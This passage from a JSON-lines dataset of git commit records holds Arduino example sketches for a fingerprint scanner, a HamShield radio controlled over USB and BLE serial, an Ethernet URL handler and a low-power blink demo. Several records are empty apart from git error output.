byte[], this is ignored.\n long len;\n} CommandPacket;\n\n\nvoid setup();\nvoid loop();\nvoid error(int error);\nCommandPacket* getCommand(Command cmd);\nvoid setParameter(CommandPacket* packet,uint16_t value);\nvoid fillChecksum(uint8_t* bytes,long len);\nCommandPacket* sendCommand(CommandPacket* packet);\nvoid sendBytes(uint8_t* bytes,long len);\nCommandPacket* readCommand();\nvoid readBytes(uint8_t* bytes,long len);\n\n\/**\n * Setups up the baudrate to be 9600 and\n * init scanner\n *\/\nvoid setup()\n{\n pinMode(ERROR_PIN, OUTPUT);\n Serial.begin(9600);\n \/\/Wait for the serial pins to connect (May only be needed for Leonardo board)\n while (!Serial) {}\n CommandPacket* init = getCommand(OPEN);\n CommandPacket* resp = sendCommand(init);\n free(init);\n free(resp);\n}\n\/**\n * Flashes LED\n *\/\nvoid loop()\n{\n CommandPacket* led = getCommand(CMOS_LED);\n CommandPacket* res;\n while (true)\n {\n setParameter(led,1);\n res = sendCommand(led);\n \/\/if (res->cmd == ACK)\n digitalWrite(ERROR_PIN, LOW);\n \/\/else\n \/\/ digitalWrite(ERROR_PIN, LOW);\n free(res);\n delay(5000);\n setParameter(led,0);\n res = sendCommand(led);\n \/\/if (res->cmd == ACK)\n digitalWrite(ERROR_PIN, HIGH);\n \/\/else\n \/\/ digitalWrite(ERROR_PIN, HIGH);\n free(res);\n delay(5000); \n }\n}\n\/**\n * Flash arduino LED on error\n * error - number of times to flash\n *\/\nvoid error(int error)\n{\n Serial.end();\n int i = 0;\n while(true)\n {\n \/\/Flash \"error\" number of times.\n for (i = 0; i < error; i++)\n {\n digitalWrite(ERROR_PIN, HIGH);\n delay(200);\n digitalWrite(ERROR_PIN, LOW);\n delay(200);\n }\n delay(1800);\n }\n}\n\n\/**\n * Get a CommandPacket that represents given command.\n * cmd - command enumeration value of desired command\n * returns - command packet representing command\n *\/\nCommandPacket* getCommand(Command cmd)\n{\n CommandPacket* packet = (CommandPacket*)malloc(sizeof(CommandPacket));\n packet->start1 = (uint8_t)0x55;\n packet->start2 = (uint8_t)0xAA;\n packet->did = (uint16_t)0x0001;\n packet->len = 12;\n setParameter(packet,(uint16_t) 0);\n \/\/Sanity checking\n if (sizeof(CommandPacket) != packet->len + 4)\n error(1);\n packet->cmd=(uint16_t)cmd;\n return packet;\n}\n\/**\n * Sets the aparameter of command packet\n * packet - packet to set value for\n * value - value to set parameter to\n *\/\nvoid setParameter(CommandPacket* packet,uint16_t value) \n{\n packet->param = value;\n}\n\/**\n * Fils the last 2 bytes of the byte array with a straight additiom checksum.\n * unsigned char* bytes - byte artray to take checksum of.\n * int len - number of bytes\n *\/\nvoid fillChecksum(uint8_t* bytes,long len) {\n \/\/Adjust length to not include checksum bytes\n len = len - 2;\n uint16_t* check = (uint16_t*)(bytes + len);\n *check = 0;\n \/\/Checksum is commutative, so it can be done in reverse\n while (--len >= 0)\n {\n *check += *(bytes+len);\n }\n}\n\/**\n * Send a command packet recieves responce\n * packet - command packet to send\n *\/\nCommandPacket* sendCommand(CommandPacket* packet)\n{\n sendBytes((uint8_t*)packet,packet->len);\n return readCommand();\n}\n\/**\n * Sends bytes. All is little endian so no conversion necessary.\n * bytes - pointer to bytes to write\n * len - length of bytes\n *\/\nvoid sendBytes(uint8_t* bytes,long len) \n{\n fillChecksum(bytes,len);\n\n if (Serial.write(bytes,len) != len)\n error(10);\n}\n\/**\n * Read a command packet\n * packet - command packet to send\n *\/\nCommandPacket* readCommand()\n{\n \/\/Get empty command so memory is zeroed, and len is set\n CommandPacket* packet = getCommand(NIL);\n readBytes((uint8_t*)packet,packet->len);\n}\n\/**\n * Reads bytes. All is little endian so no conversion necessary.\n * bytes - pointer to bytes to read into\n * len - length of bytes\n *\/\nvoid readBytes(uint8_t* bytes,long len)\n{\n \/\/Read bytes waiting if data is not found\n long i = 0;\n for (i = 0; i < len; i++)\n {\n int b = Serial.read();\n if (b == -1)\n delay(10);\n bytes[i] = (uint8_t) b;\n }\n}\n\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"1500d07213dc9787060d38273080ae3170c44ff0","subject":"adding nRF52840 (feather) example","message":"adding nRF52840 (feather) example\n","repos":"EnhancedRadioDevices\/HamShield,EnhancedRadioDevices\/HamShield","old_file":"examples\/SerialTransceiver_nRF52840\/SerialTransceiver_nRF52840.ino","new_file":"examples\/SerialTransceiver_nRF52840\/SerialTransceiver_nRF52840.ino","new_contents":"\/* Hamshield\n * Example: AppSerialController_nRF52840\n * This is a simple example to demonstrate the HamShield working \n * with an Adafruit Feather nRF52840 Express\n * \n * HamShield to Feather Connections:\n * SPKR - Feather A0\n * MIC - Feather D11\n * CLK - Feather D5\n * nCS - Feather D6\n * DAT - Feather D9\n * GND - Feather GND\n * VCC - Feather 3.3V\n * \n * Connect the HamShield to your Feather as above. \n * Screw the antenna into the HamShield RF jack. Plug a pair \n * of headphones into the HamShield.\n * \n * Connect the Feather nRF52840 Express to your computer via \n * a USB Micro B cable. After uploading this program to \n * your Feather, open the Serial Monitor. You should see some\n * text displayed that documents the setup process.\n * \n * Once the Feather is set up and talking to the HamShield,\n * you can control it over USB-Serial or BLE-Serial(UART).\n * \n * Try using Adafruit's Bluefruit app to connect to the Feather.\n * Once you're connected, you can control the HamShield using\n * the same commands you'd use over USB-Serial. The response to\n * all commands will be echoed to both USB-Serial and BLE-Serial(UART).\n * \n\nCommands:\n\nMode ASCII Description \n-------------- ----------- -------------------------------------------------------------------------------------------------------------------------------------------- \nTransmit space Space must be received at least every 500 mS \nReceive not space If space is not received and\/or 500 mS timeout of space occurs, unit will go into receive mode \nFrequency F<freq>; Set the receive frequency in KHz, if offset is disabled, this is the transmit frequency \nMorse Out M<text>; A small buffer for morse code (32 chars)\nMorse In N; Sets mode to Morse In, listening for Morse\nPower level P<level>; Set the power amp level, 0 = lowest, 15 = highest\nEnable Offset R<state>; 1 turns on repeater offset mode, 0 turns off repeater offset mode\nSquelch S<level>; Set the squelch level\nTX Offset T<freq>; The absolute frequency of the repeater offset to transmit on in KHz\nRSSI ? Respond with the current receive level in - dBm (no sign provided on numerical response)\nVoice Level ^ Respond with the current voice level (VSSI), only valid when transmitting\nDTMF Out D<vals>; A small buffer for DTMF out (only 0-9,A,B,C,D,*,# accepted)\nDTMF In B; Sets mode to DTMF In, listening for DTMF\nPL Tone Tx A<val>; Sets PL tone for TX, value is tone frequency in Hz (float), set to 0 to disable\nPL Tone Rx C<val>; Sets PL tone for RX, value is tone frequency in Hz (float), set to 0 to disable\nVolume 1 V1<val>; Set volume 1 (value between 0 and 15)\nVolume 2 V2<val>; Set volume 2 (value between 0 and 15)\nKISS TNC K; Move to KISS TNC mode (send ^; to move back to normal mode). NOT IMPELEMENTED YET\nNormal Mode _ Move to Normal mode from any other mode (except TX)\n\nResponses:\n\nCondition ASCII Description\n------------ ---------- -----------------------------------------------------------------\nStartup *<code>; Startup and shield connection status\nSuccess !; Generic success message for command that returns no value\nError X<code>; Indicates an error code. The numerical value is the type of error\nValue :<value>; In response to a query\nStatus #<value>; Unsolicited status message\nDebug Msg @<text>; 32 character debug message\nRx Msg R<text>; up to 32 characters of received message, only if device is in DTMF or Morse Rx modes\n \n*\/\n\n\/\/ Note that the following are not yet implemented\n\/\/ TODO: change get_value so it's intuitive\n\/\/ TODO: Squelch open and squelch shut independently controllable\n\/\/ TODO: pre\/de emph filter\n\/\/ TODO: walkie-talkie\n\/\/ TODO: KISS TNC\n\n#include <bluefruit.h>\n#include <stdarg.h>\n#include <stdio.h>\n#include <HamShield.h>\n\n\/\/ BLE Service\nBLEDis bledis; \/\/ device information\nBLEUart bleuart; \/\/ uart over ble\nBLEBas blebas; \/\/ battery\n\n\n\/\/ create object for radio\nHamShield radio(6,5,9);\n\/\/ To use non-standard pins, use the following initialization\n\/\/HamShield radio(ncs_pin, clk_pin, dat_pin);\n\n#define LED_PIN 3\n\n#define MIC_PIN A1\n\n\nenum {TX, NORMAL, DTMF, MORSE, KISS};\n\nint state = NORMAL;\nbool rx_ctcss = false;\nbool muted = false;\n\nint txcount = 0;\nlong timer = 0; \/\/ Transmit timer to track timeout (send space to reset)\n\nlong freq = 432100; \/\/ 70cm calling frequency, receive frequency and default transmit frequency\nlong tx_freq = 0; \/\/ transmit frequency if repeater is on\nint pwr = 0; \/\/ tx power\n\nchar cmdbuff[32] = \"\";\nint temp = 0;\n\nbool repeater = false; \/\/ true if transmit and receive operate on different frequencies\nchar pl_rx_buffer[32]; \/\/ pl tone rx buffer\nchar pl_tx_buffer[32]; \/\/ pl tone tx buffer\n\nfloat ctcssin = 0;\nfloat ctcssout = 0;\nint cdcssin = 0;\nint cdcssout = 0;\n\nvoid setup() {\n \/\/ NOTE: if not using PWM out (MIC pin), it should be held low to avoid tx noise\n pinMode(MIC_PIN, OUTPUT);\n digitalWrite(MIC_PIN, LOW);\n \n \/\/ initialize serial communication\n Serial.begin(115200);\n while (!Serial) delay(10);\n\n \/\/ Setup the BLE LED to be enabled on CONNECT\n \/\/ Note: This is actually the default behaviour, but provided\n \/\/ here in case you want to control this LED manually via PIN 19\n Bluefruit.autoConnLed(true);\n\n \/\/ Config the peripheral connection with maximum bandwidth \n \/\/ more SRAM required by SoftDevice\n \/\/ Note: All config***() function must be called before begin()\n Bluefruit.configPrphBandwidth(BANDWIDTH_MAX);\n\n Bluefruit.begin();\n \/\/ Set max power. Accepted values are: -40, -30, -20, -16, -12, -8, -4, 0, 4\n Bluefruit.setTxPower(4);\n Bluefruit.setName(\"MyBlueHam\");\n \/\/Bluefruit.setName(getMcuUniqueID()); \/\/ useful testing with multiple central connections\n Bluefruit.setConnectCallback(connect_callback);\n Bluefruit.setDisconnectCallback(disconnect_callback);\n\n \/\/ Configure and Start Device Information Service\n bledis.setManufacturer(\"Enhanced Radio Devices\");\n bledis.setModel(\"BlueHam\");\n bledis.begin();\n\n \/\/ Configure and Start BLE Uart Service\n bleuart.begin();\n\n \/\/ Start BLE Battery Service\n blebas.begin();\n blebas.write(100);\n\n \/\/ Set up and start advertising\n startAdv();\n \n delay(100); \n\n SerialWrite(\";;;;;;;;;;;;;;;;;;;;;;;;;;\");\n\n int result = radio.testConnection();\n SerialWrite(\"*%d;\\n\", result);\n radio.initialize(); \/\/ initializes automatically for UHF 12.5kHz channel\n radio.frequency(freq);\n radio.setVolume1(0xF);\n radio.setVolume2(0xF);\n radio.setModeReceive();\n radio.setTxSourceMic();\n radio.setRfPower(pwr);\n radio.setSQLoThresh(-80);\n radio.setSQHiThresh(-70);\n radio.setSQOn();\n SerialWrite(\"*START;\\n\");\n}\n\nvoid startAdv(void)\n{\n \/\/ Advertising packet\n Bluefruit.Advertising.addFlags(BLE_GAP_ADV_FLAGS_LE_ONLY_GENERAL_DISC_MODE);\n Bluefruit.Advertising.addTxPower();\n\n \/\/ Include bleuart 128-bit uuid\n Bluefruit.Advertising.addService(bleuart);\n\n \/\/ Secondary Scan Response packet (optional)\n \/\/ Since there is no room for 'Name' in Advertising packet\n Bluefruit.ScanResponse.addName();\n \n \/* Start Advertising\n * - Enable auto advertising if disconnected\n * - Interval: fast mode = 20 ms, slow mode = 152.5 ms\n * - Timeout for fast mode is 30 seconds\n * - Start(timeout) with timeout = 0 will advertise forever (until connected)\n * \n * For recommended advertising interval\n * https:\/\/developer.apple.com\/library\/content\/qa\/qa1931\/_index.html \n *\/\n Bluefruit.Advertising.restartOnDisconnect(true);\n Bluefruit.Advertising.setInterval(32, 244); \/\/ in unit of 0.625 ms\n Bluefruit.Advertising.setFastTimeout(30); \/\/ number of seconds in fast mode\n Bluefruit.Advertising.start(0); \/\/ 0 = Don't stop advertising after n seconds \n}\n\nvoid loop() { \n \/\/ TODO: loop fixing based on serialtransciever!\n\n char c = 0;\n bool ble_serial = false;\n if (Serial.available()) {\n Serial.readBytes(&c, 1);\n } else if (bleuart.available()) {\n c = (char) bleuart.read();\n ble_serial = true;\n }\n\n \/\/ TODO: BLE\n if(c != 0) { \n\n int text = c; \/\/ get the first char to see what the upcoming command is\n\n switch (state) {\n \/\/ we handle commands differently based on what state we're in\n \n case TX:\n \/\/ we're currently transmitting\n \/\/ if we got a space, reset our transmit timeout\n if(text == ' ') { timer = millis();}\n break;\n\n case NORMAL:\n switch(text) {\n case ' ': \/\/ space - transmit\n if(repeater == true && tx_freq != 0) { radio.frequency(tx_freq); }\n muted = false; \/\/ can't mute (for PL tones) during tx\n radio.setUnmute(); \n radio.setModeTransmit();\n state = TX;\n SerialWrite(\"#TX,ON;\\n\");\n timer = millis();\n break;\n \n case '?': \/\/ ? - RSSI\n SerialWrite(\":%d;\\n\", radio.readRSSI());\n break;\n \n case '^': \/\/ ^ - VSSI (voice) level\n SerialWrite(\":%d;\\n\", radio.readVSSI());\n break;\n \n case 'F': \/\/ F - frequency\n getValue(ble_serial);\n freq = atol(cmdbuff);\n if(radio.frequency(freq) == true) { \n SerialWrite(\"@%d;!;\\n\", freq); \n } else { \n SerialWrite(\"X1;\\n\"); \n } \n break;\n \n case 'P': \/\/ P - power level\n getValue(ble_serial);\n temp = atol(cmdbuff);\n radio.setRfPower(temp);\n SerialWrite(\"!;\\n\"); \n break;\n \n case 'S': \/\/ S - squelch\n getValue(ble_serial);\n temp = atol(cmdbuff);\n if (temp < -2 && temp > -130) {\n radio.setSQLoThresh(temp);\n radio.setSQHiThresh(temp+2);\n radio.setSQOn();\n SerialWrite(\"%d!;\\n\", temp);\n } else {\n SerialWrite(\"X!;\\n\");\n }\n break;\n \n case 'R': \/\/ R - repeater offset mode\n getValue(ble_serial);\n temp = atol(cmdbuff);\n if(temp == 0) { repeater = 0; }\n if(temp == 1) { repeater = 1; }\n SerialWrite(\"!;\\n\"); \n break;\n \n case 'T': \/\/ T - transmit offset \n getValue(ble_serial);\n tx_freq = atol(cmdbuff);\n SerialWrite(\"!;\\n\"); \n break;\n \n case 'M': \/\/ M - Morse\n getValue(ble_serial);\n if(repeater == true && tx_freq != 0) { radio.frequency(tx_freq); }\n muted = false; \/\/ can't mute (for PL tones) during tx\n radio.setUnmute(); \n radio.setModeTransmit();\n delay(300);\n radio.morseOut(cmdbuff);\n if(repeater == true) { radio.frequency(freq); } \n radio.setModeReceive();\n SerialWrite(\"!;\\n\"); \n break; \n \n case 'N': \/\/ N - set to Morse in Mode\n morse_rx_setup();\n state = MORSE;\n SerialWrite(\"!;\\n\"); \n break;\n \n case 'D': \/\/ D - DTMF Out\n dtmfSetup();\n getValue(ble_serial);\n dtmf_out(cmdbuff);\n SerialWrite(\"!;\\n\"); \n break;\n\n case 'B': \/\/ B - set to DTMF in Mode\n dtmfSetup();\n radio.enableDTMFReceive();\n state = DTMF;\n SerialWrite(\"!;\\n\"); \n break;\n\n case 'A': \/\/ A - TX PL Tone configuration command\n pl_tone_tx();\n SerialWrite(\"!;\\n\"); \n break;\n \n case 'C': \/\/ C - RX PL Tone configuration command\n pl_tone_rx();\n SerialWrite(\"!;\\n\"); \n break;\n\n case 'V': \/\/ V - set volume\n getValue(ble_serial);\n temp = cmdbuff[0];\n if (temp == 0x31) {\n temp = atol(cmdbuff + 1);\n radio.setVolume1(temp);\n SerialWrite(\"!;\\n\"); \n } else if (temp == 0x32) {\n temp = atol(cmdbuff + 1);\n radio.setVolume2(temp);\n SerialWrite(\"!;\\n\"); \n } else {\n \/\/ not a valid volume command, flush buffers\n SerialFlush(ble_serial);\n SerialWrite(\"X!;\\n\");\n }\n break;\n\n case 'K': \/\/ K - switch to KISS TNC mode\n \/\/state = KISS;\n \/\/TODO: set up KISS\n SerialWrite(\"X1;\\n\"); \n break;\n\n default:\n \/\/ unknown command, flush the input buffer and wait for next one\n SerialWrite(\"X1;\\n\");\n SerialFlush(ble_serial);\n break;\n }\n break;\n\n case KISS:\n if ((ble_serial && bleuart.peek() == '_') || (!ble_serial && Serial.peek() == '_')) {\n state = NORMAL;\n if (rx_ctcss) {\n radio.enableCtcss();\n muted = true; \/\/ can't mute (for PL tones) during tx\n radio.setMute();\n }\n }\n \/\/ TODO: handle KISS TNC\n break;\n\n case MORSE:\n if (text == '_') { state = NORMAL; }\n if (text == 'M') { \/\/ tx message\n getValue(ble_serial);\n if(repeater == true && tx_freq != 0) { radio.frequency(tx_freq); } \n muted = false; \/\/ can't mute (for PL tones) during tx\n radio.setUnmute();\n radio.setModeTransmit();\n delay(300);\n radio.morseOut(cmdbuff);\n if(repeater == true) { radio.frequency(freq); } \n radio.setModeReceive();\n } else {\n \/\/ not a valid cmd\n SerialFlush(ble_serial);\n }\n break;\n\n case DTMF:\n if (text == '_') { state = NORMAL; }\n if (text == 'D') { \/\/ tx message\n getValue(ble_serial);\n dtmf_out(cmdbuff);\n } else {\n \/\/ not a valid cmd\n SerialFlush(ble_serial);\n }\n break;\n\n default:\n \/\/ we're in an invalid state, reset to safe settings\n SerialFlush(ble_serial);\n radio.frequency(freq);\n radio.setModeReceive();\n state = NORMAL;\n break;\n }\n\n }\n \n \/\/ now handle any state related functions\n switch (state) {\n case TX:\n if(millis() > (timer + 500)) { \n SerialWrite(\"#TX,OFF;\\n\");\n radio.setModeReceive(); \n if(repeater == true) { radio.frequency(freq); }\n if (rx_ctcss) {\n radio.setMute();\n muted = true;\n }\n txcount = 0;\n state = NORMAL;\n }\n break;\n\n case NORMAL:\n \/\/ deal with rx ctccs if necessary\n if (rx_ctcss) {\n if (radio.getCtcssToneDetected()) {\n if (muted) {\n muted = false;\n radio.setUnmute();\n }\n } else {\n if (!muted) {\n muted = true;\n radio.setMute();\n }\n }\n }\n break;\n\n case DTMF:\n dtmf_rx(); \/\/ wait for DTMF reception\n break;\n\n case MORSE:\n morse_rx(); \/\/ wait for Morse reception\n break;\n }\n\n \/\/ get rid of any trailing whitespace in the serial buffer\n SerialFlushWhitespace(ble_serial);\n}\n\n\n\/\/ callback invoked when central connects\nvoid connect_callback(uint16_t conn_handle)\n{\n char central_name[32] = { 0 };\n Bluefruit.Gap.getPeerName(conn_handle, central_name, sizeof(central_name));\n\n Serial.print(\"Connected to \");\n Serial.println(central_name);\n}\n\n\/**\n * Callback invoked when a connection is dropped\n * @param conn_handle connection where this event happens\n * @param reason is a BLE_HCI_STATUS_CODE which can be found in ble_hci.h\n * https:\/\/github.com\/adafruit\/Adafruit_nRF52_Arduino\/blob\/master\/cores\/nRF5\/nordic\/softdevice\/s140_nrf52_6.1.1_API\/include\/ble_hci.h\n *\/\nvoid disconnect_callback(uint16_t conn_handle, uint8_t reason)\n{\n (void) conn_handle;\n (void) reason;\n\n Serial.println();\n Serial.println(\"Disconnected\");\n}\n\n\nvoid getValue(bool ble_serial) { \n int p = 0;\n char temp;\n \n for(;;) {\n if((!ble_serial && Serial.available()) || (ble_serial && bleuart.available())) { \n if (ble_serial) {\n temp = Serial.read();\n } else {\n temp = bleuart.read();\n }\n if(temp == 59) { \n cmdbuff[p] = 0; \n return;\n }\n cmdbuff[p] = temp;\n p++;\n if(p == 32) { \n cmdbuff[0] = 0; \n return;\n }\n }\n }\n}\n\nvoid dtmfSetup() {\n radio.setVolume1(6);\n radio.setVolume2(0);\n radio.setDTMFDetectTime(24); \/\/ time to detect a DTMF code, units are 2.5ms\n radio.setDTMFIdleTime(50); \/\/ time between transmitted DTMF codes, units are 2.5ms\n radio.setDTMFTxTime(60); \/\/ duration of transmitted DTMF codes, units are 2.5ms\n}\n\nvoid dtmf_out(char * out_buf) {\n if (out_buf[0] == ';' || out_buf[0] == 0) return; \/\/ empty message\n \n uint8_t i = 0;\n uint8_t code = radio.DTMFchar2code(out_buf[i]);\n \n \/\/ start transmitting\n radio.setDTMFCode(code); \/\/ set first\n radio.setTxSourceTones();\n if(repeater == true && tx_freq != 0) { radio.frequency(tx_freq); }\n muted = false; \/\/ can't mute during transmit\n radio.setUnmute();\n radio.setModeTransmit();\n delay(300); \/\/ wait for TX to come to full power\n\n bool dtmf_to_tx = true;\n while (dtmf_to_tx) {\n \/\/ wait until ready\n while (radio.getDTMFTxActive() != 1) {\n \/\/ wait until we're ready for a new code\n delay(10);\n }\n if (i < 32 && out_buf[i] != ';' && out_buf[i] != 0) {\n code = radio.DTMFchar2code(out_buf[i]);\n if (code == 255) code = 0xE; \/\/ throw a * in there so we don't break things with an invalid code\n radio.setDTMFCode(code); \/\/ set first\n } else {\n dtmf_to_tx = false;\n break;\n }\n i++;\n\n while (radio.getDTMFTxActive() != 0) {\n \/\/ wait until this code is done\n delay(10);\n }\n }\n \/\/ done with tone\n radio.setModeReceive();\n if (repeater == true) {radio.frequency(freq);}\n radio.setTxSourceMic();\n}\n\nvoid dtmf_rx() {\n char m = radio.DTMFRxLoop();\n if (m != 0) {\n \/\/ Note: not doing buffering of messages, \n \/\/ we just send a single morse character\n \/\/ whenever we get it\n SerialWrite(\"R%d;\\n\", m);\n }\n}\n\n\/\/ TODO: morse config info\n\nvoid morse_rx_setup() {\n \/\/ Set the morse code characteristics\n radio.setMorseFreq(MORSE_FREQ);\n radio.setMorseDotMillis(MORSE_DOT);\n \n radio.lookForTone(MORSE_FREQ);\n \n radio.setupMorseRx();\n}\n\nvoid morse_rx() {\n char m = radio.morseRxLoop();\n\n if (m != 0) {\n \/\/ Note: not doing buffering of messages, \n \/\/ we just send a single morse character\n \/\/ whenever we get it\n SerialWrite(\"R%c;\\n\",m);\n }\n}\n\nvoid pl_tone_tx() { \n memset(pl_tx_buffer,0,32);\n uint8_t ptr = 0;\n while(1) { \n if(Serial.available()) { \n uint8_t buf = Serial.read();\n if(buf == 'X') { return; }\n if(buf == ';') { pl_tx_buffer[ptr] = 0; program_pl_tx(); return; }\n if(ptr == 31) { return; }\n pl_tx_buffer[ptr] = buf; ptr++; \n }\n }\n}\n\nvoid program_pl_tx() { \n float pl_tx = atof(pl_tx_buffer);\n radio.setCtcss(pl_tx);\n\n if (pl_tx == 0) {\n radio.disableCtcssTx();\n } else {\n radio.enableCtcssTx();\n }\n}\n\nvoid pl_tone_rx() { \n memset(pl_rx_buffer,0,32);\n uint8_t ptr = 0;\n while(1) { \n if(Serial.available()) { \n uint8_t buf = Serial.read();\n if(buf == 'X') { return; }\n if(buf == ';') { pl_rx_buffer[ptr] = 0; program_pl_rx(); return; }\n if(ptr == 31) { return; }\n pl_rx_buffer[ptr] = buf; ptr++; \n }\n }\n}\n\nvoid program_pl_rx() {\n float pl_rx = atof(pl_rx_buffer);\n radio.setCtcss(pl_rx);\n if (pl_rx == 0) {\n rx_ctcss = false;\n radio.setUnmute();\n muted = false;\n radio.disableCtcssRx();\n } else {\n rx_ctcss = true;\n radio.setMute();\n muted = true;\n radio.enableCtcssRx();\n }\n}\n\n#define TEXT_BUF_LEN 64\nchar text_buf[TEXT_BUF_LEN];\nvoid SerialWrite(const char *fmt, ...) {\n va_list args;\n va_start(args, fmt); \n int str_len = snprintf(text_buf, TEXT_BUF_LEN, fmt, args);\n va_end(args);\n\n bleuart.write(text_buf, str_len);\n Serial.write(text_buf, str_len);\n}\n\nvoid SerialFlush(bool ble_serial) {\n if (ble_serial) {\n while (bleuart.available()) { bleuart.read(); }\n } else {\n while (Serial.available()) { Serial.read(); }\n }\n}\n\n\nvoid SerialFlushWhitespace(bool ble_serial) {\n if (!ble_serial && Serial.available()) {\n char cpeek = Serial.peek();\n while (cpeek == ' ' || cpeek == '\\r' || cpeek == '\\n')\n {\n Serial.read();\n cpeek = Serial.peek();\n } \n } else if (ble_serial && bleuart.available()) {\n char cpeek = bleuart.peek();\n while (cpeek == ' ' || cpeek == '\\r' || cpeek == '\\n')\n {\n bleuart.read();\n cpeek = bleuart.peek();\n } \n }\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/SerialTransceiver_nRF52840\/SerialTransceiver_nRF52840.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"ff3244494c84f403837590209e3026a5ac24b8c4","subject":"Add example of a custom function in ethernet","message":"Add example of a custom function in ethernet\n","repos":"eduardoklosowski\/vdlkino,eduardoklosowski\/vdlkino","old_file":"examples\/EthernetCustom\/EthernetCustom.ino","new_file":"examples\/EthernetCustom\/EthernetCustom.ino","new_contents":"#include <SPI.h>\n#include <Ethernet.h>\n#include \"VdlkinoEthernet.h\"\n\nbyte mac[] = {\n 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\nIPAddress ip(192,168,1,177);\nEthernetServer server(80);\nVdlkinoEthernet vdlkino(14, 6, &server);\n\nvoid url_get_analog_byte(void *block, char *url) {\n VdlkinoBlock *vblock = (VdlkinoBlock*) block;\n char buffer[256];\n char *pc = buffer;\n\n strcpy(pc, url);\n if (pc[0] == '\/') {\n pc++;\n }\n\n pc = strtok(pc, \"\/\");\n if (strcmp(pc, \"analogbyte\")) {\n return;\n }\n\n pc = strtok(NULL, \"\/\");\n if (pc == NULL) {\n return;\n }\n vblock->pin = atoi(pc);\n\n pc = strtok(NULL, \"\/\");\n if (pc != NULL) {\n return;\n }\n vblock->oper = 8;\n vblock->value = 0;\n vblock->valid = 1;\n}\n\nuint16_t get_analog_byte(void *block) {\n VdlkinoBlock *vblock = (VdlkinoBlock*) block;\n return map(analogRead(vblock->pin), 0, 1023, 0, 255);\n}\n\nvoid setup() {\n Ethernet.begin(mac, ip);\n server.begin();\n vdlkino.operations[8] = &get_analog_byte;\n vdlkino.addUrl(&url_get_analog_byte);\n}\n\nvoid loop() {\n vdlkino.run();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/EthernetCustom\/EthernetCustom.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8a1757d6360505b3f1a0a6526ba401d597c11c44","subject":"add new snoozeBlink demo sketch","message":"add new snoozeBlink demo sketch\n","repos":"jcw\/jeelib,jcw\/jeelib","old_file":"examples\/Ports\/snoozeBlink\/snoozeBlink.ino","new_file":"examples\/Ports\/snoozeBlink\/snoozeBlink.ino","new_contents":"\/\/ Blink a LED on DIO4 using as little power as possible\n\/\/ 2011-12-28 <jcw@equi4.com> http:\/\/opensource.org\/licenses\/mit-license.php\n\n#include <JeeLib.h>\n\n#define LED 4 \/\/ DIO1 = PD4 = Arduino digital 4\n#define PULSE 48 \/\/ how long to keep the LED on, in milliseconds\n\n\/\/ boilerplate for low-power waiting\nISR(WDT_vect) { Sleepy::watchdogEvent(); }\n\nvoid setup () {\n \/\/ configure LED pin, start off (i.e. low)\n bitSet(DDRD, LED);\n \/\/ turn the radio off in the most power-efficient manner\n Sleepy::loseSomeTime(32);\n rf12_initialize(17, RF12_868MHZ, 5);\n rf12_sleep(RF12_SLEEP);\n \/\/ wait another 2s for the power supply to settle\n Sleepy::loseSomeTime(2000);\n}\n\nvoid loop () {\n \/\/ turn LED briefly on, then off for the remaining 90% of the time\n bitSet(PORTD, LED);\n Sleepy::loseSomeTime(PULSE);\n bitClear(PORTD, LED);\n Sleepy::loseSomeTime(9 * PULSE);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Ports\/snoozeBlink\/snoozeBlink.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"f0446a3997135074c2bc87669f40605707e61c2c","subject":"Uso de m\u00e1s libs.","message":"Uso de m\u00e1s libs.\n","repos":"nverdicchio\/soa-2017-bicicleta-inteligente,nverdicchio\/soa-2017-bicicleta-inteligente","old_file":"Arduino\/integraciones\/BicicletaInteligente\/BicicletaInteligente.ino","new_file":"Arduino\/integraciones\/BicicletaInteligente\/BicicletaInteligente.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nverdicchio\/soa-2017-bicicleta-inteligente.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"fb9809225a4716d138e8e62f9a61f46c46dc0c46","subject":"added interrupt example","message":"added interrupt example\n","repos":"leftbrainstrain\/Adafruit-MCP23017-Arduino-Library,weera00\/Adafruit-MCP23017-Arduino-Library,shaunoneil\/Adafruit-MCP23017-Arduino-Library","old_file":"examples\/interrupt\/interrupt.ino","new_file":"examples\/interrupt\/interrupt.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/leftbrainstrain\/Adafruit-MCP23017-Arduino-Library.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"aa580679c9b264c2e1ef45d5bf645caaaacc43b9","subject":"change isGoodObs","message":"change isGoodObs\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b0d90d2e1a2ffb897f112f47527bf13211f9f961","subject":"Added Serial client example.","message":"Added Serial client 